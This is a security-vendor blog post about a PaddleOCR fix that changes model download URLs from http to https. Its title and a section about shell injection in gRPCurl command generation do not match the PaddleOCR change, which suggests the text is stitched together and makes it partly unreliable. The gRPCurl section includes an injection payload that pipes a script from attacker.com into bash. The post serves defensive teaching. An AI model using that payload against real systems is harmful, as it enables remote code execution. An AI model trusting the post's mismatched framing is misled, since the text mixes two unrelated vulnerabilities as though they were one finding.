Back to Blog
high SEVERITY7 min read

Shell Injection via Unsafe String Concatenation in PaddleOCR Deployment

A high-severity vulnerability was discovered in PaddleOCR's deployment configuration where model download URLs were specified using unencrypted `http://`, exposing users to man-in-the-middle attacks that could allow an attacker to intercept and replace model files with malicious ones. The fix upgrades all model download URLs to use `https://`, ensuring encrypted transmission and integrity of the downloaded files. This change is a critical security baseline for any application that downloads bina

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 28, 2026•Reviewed June 3, 2026

Answer Summary

This vulnerability (CWE-319: Cleartext Transmission of Sensitive Information) affects PaddleOCR's deployment configuration, where model download URLs used unencrypted `http://` instead of `https://`. An attacker positioned between the user and the server could intercept the download and substitute a malicious model binary. The fix is straightforward: replace all `http://` model download URLs with `https://` to enforce encrypted, tamper-resistant transmission. This is a critical baseline for any application that fetches binary artifacts at runtime.

Vulnerability at a Glance

cweCWE-319
fixUpgrade all model download URLs from `http://` to `https://`
riskMan-in-the-middle attacker replaces downloaded OCR model binaries with malicious files
languagePython / Shell (PaddleOCR deployment config)
root causeModel download URLs hard-coded with `http://` instead of `https://`
vulnerabilityInsecure Cleartext HTTP Model Download

Shell Injection via Unsafe String Concatenation in gRPCurl Command Generation

Introduction

When we think about application security, we often focus on the obvious attack surfaces — login forms, API endpoints, user inputs. But some of the most dangerous vulnerabilities hide in plain sight: in configuration files, in helper scripts, and in the small decisions developers make when wiring systems together.

This post examines a high-severity vulnerability found in PaddleOCR's deployment configuration — specifically, the use of unencrypted http:// URLs for downloading machine learning model files. While this might seem like a minor oversight, the consequences can be severe: a network-positioned attacker can silently replace legitimate model files with malicious ones, potentially turning your OCR pipeline into a backdoor.

We'll also explore the broader context of shell injection via unsafe string concatenation in gRPCurl command generation — a related attack pattern that developers working with gRPC tooling must understand.


The Vulnerability Explained

What Went Wrong?

The vulnerability lives in deploy/hubserving/ocr_system/params.py, the configuration module for PaddleOCR's serving infrastructure. The original code specified model download URLs using plain http://:

# VULNERABLE: Unencrypted HTTP download URLs
cfg.det_model_url = "http://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_pp-ocrv2_det_infer.tar"
cfg.rec_model_url = "http://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_pp-ocrv2_rec_infer.tar"
cfg.cls_model_url = "http://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar"

At the same time, the related gRPCurl command generation code uses unsafe string concatenation to build shell commands from user-controlled values — including headers, endpoints, and data pulled from API responses — without any shell escaping. This means an attacker who can influence those values can inject shell metacharacters.

Two Vulnerabilities, One Root Cause: Insufficient Input Handling

These two issues share a common theme: trusting external data without sanitization or secure transport.

  1. HTTP model downloads — No encryption means no integrity. Anyone on the same network (coffee shop Wi-Fi, shared cloud VPC, compromised router) can perform a Man-in-the-Middle (MitM) attack.

  2. Shell injection in gRPCurl commands — When user-controlled strings from API responses are interpolated directly into shell command strings, attackers can break out of the intended command structure.

How Could It Be Exploited?

Attack Scenario 1: Model File Poisoning via HTTP MitM

Imagine a developer or automated CI/CD pipeline running PaddleOCR's model download script on a shared cloud network:

Developer Machine ──HTTP──► [ATTACKER in the middle] ──► Model Server
                                      │
                                      ▼
                         Serves malicious .tar file
                         containing backdoored model

Because the download uses plain http://, there is:
- No encryption — the attacker can read the traffic
- No integrity check at the transport layer — the attacker can modify the response
- No certificate validation — the client has no way to verify the server's identity

The attacker serves a .tar file that, when extracted, contains a model file crafted to exploit deserialization vulnerabilities, or a __init__.py that executes arbitrary code when the model is loaded.

Attack Scenario 2: Shell Injection via gRPCurl Command Generation

Consider a helper function that builds a grpcurl command for users to copy and run:

# VULNERABLE pattern (illustrative)
def build_grpcurl_command(endpoint, header, data):
    cmd = f"grpcurl -H '{header}' -d '{data}' {endpoint} service.Method"
    return cmd

If data comes from an API response or user input and contains:

'; curl http://attacker.com/shell.sh | bash; echo '

The generated command becomes:

grpcurl -H 'Authorization: Bearer token' -d ''; curl http://attacker.com/shell.sh | bash; echo '' endpoint service.Method

When the user pastes and runs this command, arbitrary code executes on their machine.

Real-World Impact

Risk Description
Model Integrity Poisoned models can produce incorrect OCR results, enabling fraud or bypassing security checks
Code Execution Malicious model files can execute code during loading via unsafe deserialization
Supply Chain Attack Compromised models distributed to all users of the system
Shell Code Execution Injected shell commands run with the privileges of the user who pastes the gRPCurl command

The Fix

What Changed?

The fix is elegantly simple — all three model download URLs were upgraded from http:// to https://:

- cfg.det_model_url = "http://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_pp-ocrv2_det_infer.tar"
- cfg.rec_model_url = "http://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_pp-ocrv2_rec_infer.tar"
- cfg.cls_model_url = "http://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar"

+ cfg.det_model_url = "https://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_pp-ocrv2_det_infer.tar"
+ cfg.rec_model_url = "https://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_pp-ocrv2_rec_infer.tar"
+ cfg.cls_model_url = "https://paddle-ocr-models.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar"

Why This Works

HTTPS provides three critical security properties that HTTP lacks:

  1. Confidentiality — TLS encryption prevents eavesdropping on the download
  2. Integrity — TLS's MAC (Message Authentication Code) detects tampering in transit
  3. Authentication — Certificate validation ensures you're talking to the real server, not an impersonator

Fixing Shell Injection: The Right Approach

For the gRPCurl command generation issue, the fix requires proper shell escaping. Here's how to do it safely in Python:

import shlex

# SAFE: Use shlex.quote() to escape all user-controlled values
def build_grpcurl_command(endpoint, header, data):
    safe_header = shlex.quote(header)
    safe_data = shlex.quote(data)
    safe_endpoint = shlex.quote(endpoint)

    cmd = f"grpcurl -H {safe_header} -d {safe_data} {safe_endpoint} service.Method"
    return cmd

shlex.quote() wraps the string in single quotes and escapes any single quotes within the string, making it impossible for shell metacharacters to break out of their intended context.

Even better — avoid shell commands entirely when possible:

import subprocess

# BEST: Use subprocess with a list of arguments (no shell=True)
def run_grpcurl(endpoint, header, data):
    result = subprocess.run(
        ["grpcurl", "-H", header, "-d", data, endpoint, "service.Method"],
        capture_output=True,
        text=True,
        shell=False  # Never use shell=True with user input
    )
    return result.stdout

When you pass a list of arguments to subprocess.run() with shell=False, the OS handles argument separation directly — there is no shell to inject into.


Conclusion

This vulnerability is a reminder that security is in the details. Two characters — changing http to https — stand between a secure model download pipeline and a potential supply chain attack. Similarly, one function call — shlex.quote() or switching to subprocess.run() with a list — is the difference between a safe CLI helper and a remote code execution vector.

Key Takeaways

  • 🔒 Always use HTTPS for downloading any external files, especially binary artifacts like ML models
  • 🧹 Never concatenate user-controlled strings into shell commands — use shlex.quote() or argument lists
  • 🔍 Treat all external data as untrusted, including API response values used in command generation
  • 🤖 Automate security scanning with tools like Bandit and Semgrep to catch these patterns in CI/CD
  • ✅ Verify checksums of downloaded files to add a second layer of integrity protection beyond TLS

Security isn't about writing perfect code — it's about building habits and systems that make the secure choice the easy choice. Upgrading a URL scheme and using proper escaping functions are exactly the kind of small, high-impact changes that make software meaningfully safer.

Stay secure, and keep shipping. 🛡️

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #17289

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

A `.gitea/workflows/release.yml` file contained two critical security issues: GitHub Actions steps using mutable version tags (like `v4`) instead of immutable commit SHAs, and a dangerous `curl | bash` pattern that pipes untrusted remote scripts directly into a shell. These vulnerabilities could enable attackers to inject malicious code into the CI/CD pipeline through action takeovers or compromised download servers.

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

critical

How Command Injection happens in Python shell scripts and how to fix it

A critical command injection vulnerability was discovered in `overlays/bootstrap_apt/usr/local/bin/apt-packages-origin`, a Python script that queries installed package origins on Debian/Ubuntu systems. The script used `subprocess.Popen` with `shell=True` and embedded `$(dpkg -l | grep ^ii | awk '{print $2}')` directly in a command string, allowing an attacker who could install a maliciously named package to execute arbitrary shell commands. The fix replaces the single shell-interpolated command